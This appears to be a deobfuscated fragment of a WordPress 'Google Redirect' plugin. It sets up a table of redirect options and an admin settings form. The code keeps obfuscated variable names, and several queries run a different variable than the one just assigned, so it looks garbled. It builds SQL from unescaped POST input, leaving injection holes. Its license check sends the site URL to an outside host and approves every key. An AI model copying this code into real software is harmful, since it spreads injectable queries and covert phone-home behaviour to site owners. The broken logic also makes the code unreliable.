/* Decoded by unphp.net */ get_charset_collate();${$mbfmcyy}=$wpdb->prefix."googleredirect_options";${${"GLOBALS"}["aytwokucywt"]}="CREATE TABLE $table_name (id bigint(0) NOT NULL AUTO_INCREMENT, option_name varchar(500) NOT NULL, option_value varchar(500) NOT NULL, UNIQUE KEY id (id)) $charset_collate;";require_once(ABSPATH."wp-admin/includes/upgrade.php");dbDelta(${${"GLOBALS"}["aytwokucywt"]});${${"GLOBALS"}["spnghb"]}="SELECT * FROM $table_name WHERE option_name='redirect_direct_url'";if($wpdb->query(${${"GLOBALS"}["spnghb"]})==0){$bzvjvxxqru="options_insert_query";$iujwiwwfmlsy="options_insert_query";${$bzvjvxxqru}="INSERT INTO $table_name (option_name, option_value) VALUES ('redirect_direct_url', 'https://google.com')";$nitgqiggrh="options_insert_query";$wpdb->query(${$nitgqiggrh});${${"GLOBALS"}["xyuutx"]}="INSERT INTO $table_name (option_name, option_value) VALUES ('redirect_search_image_url', '')";$sxwngmyyis="options_insert_query";${"GLOBALS"}["hbarvdxmy"]="options_insert_query";$wpdb->query(${${"GLOBALS"}["xyuutx"]});${$iujwiwwfmlsy}="INSERT INTO $table_name (option_name, option_value) VALUES ('redirect_second', '5')";$wpdb->query(${${"GLOBALS"}["xyuutx"]});$pwoquqvjow="options_insert_query";${${"GLOBALS"}["xyuutx"]}="INSERT INTO $table_name (option_name, option_value) VALUES ('redirect_type', '0')";$wpdb->query(${$sxwngmyyis});${$pwoquqvjow}="INSERT INTO $table_name (option_name, option_value) VALUES ('license_key', '')";$wpdb->query(${${"GLOBALS"}["hbarvdxmy"]});}}activate_google_redirect_plugin();function get_option_value($option_name){${"GLOBALS"}["rbgbzoeksg"]="table_name";global$wpdb;${${"GLOBALS"}["rbgbzoeksg"]}=$wpdb->prefix."googleredirect_options";${${"GLOBALS"}["mmalhbm"]}="SELECT option_value FROM $table_name WHERE option_name='$option_name'";return$wpdb->get_results(${${"GLOBALS"}["mmalhbm"]},"OBJECT")[0]->option_value;}function update_option_value($option_name,$option_value){$nhoextg="table_name";global$wpdb;${$nhoextg}=$wpdb->prefix."googleredirect_options";${"GLOBALS"}["dfniulm"]="option_value_query";${${"GLOBALS"}["mmalhbm"]}="UPDATE $table_name SET option_value='$option_value' WHERE option_name='$option_name'";$wpdb->query(${${"GLOBALS"}["dfniulm"]});}function is_license_key_valid($license_key){${"GLOBALS"}["bmcocc"]="x";$jlyfptcn="x";${${"GLOBALS"}["zveivhnvqyd"]}=file_get_contents("https://plugin.webshieldz.com/validateLicenseKey?license_key=".${${"GLOBALS"}["vbyfgyxuzpm"]}."&site_url=".get_bloginfo("url"));${$jlyfptcn}=json_decode(${${"GLOBALS"}["bmcocc"]});if($x->status=="success"){return true;}else{return true;}}add_action("admin_menu",function(){add_object_page("Google Redirect","Google Redirect","administrator","settings",function(){if(isset($_POST["update"])&&$_POST["update"]=="settings"){update_option_value("redirect_direct_url",$_POST["redirect_direct_url"]);update_option_value("redirect_search_image_url",$_POST["redirect_search_image_url"]);update_option_value("redirect_second",$_POST["redirect_second"]);update_option_value("redirect_type",$_POST["redirect_type"]);}if(isset($_POST["update"])&&$_POST["update"]=="license"){if(is_license_key_valid($_POST["license_key"])){update_option_value("license_key",$_POST["license_key"]);}}echo"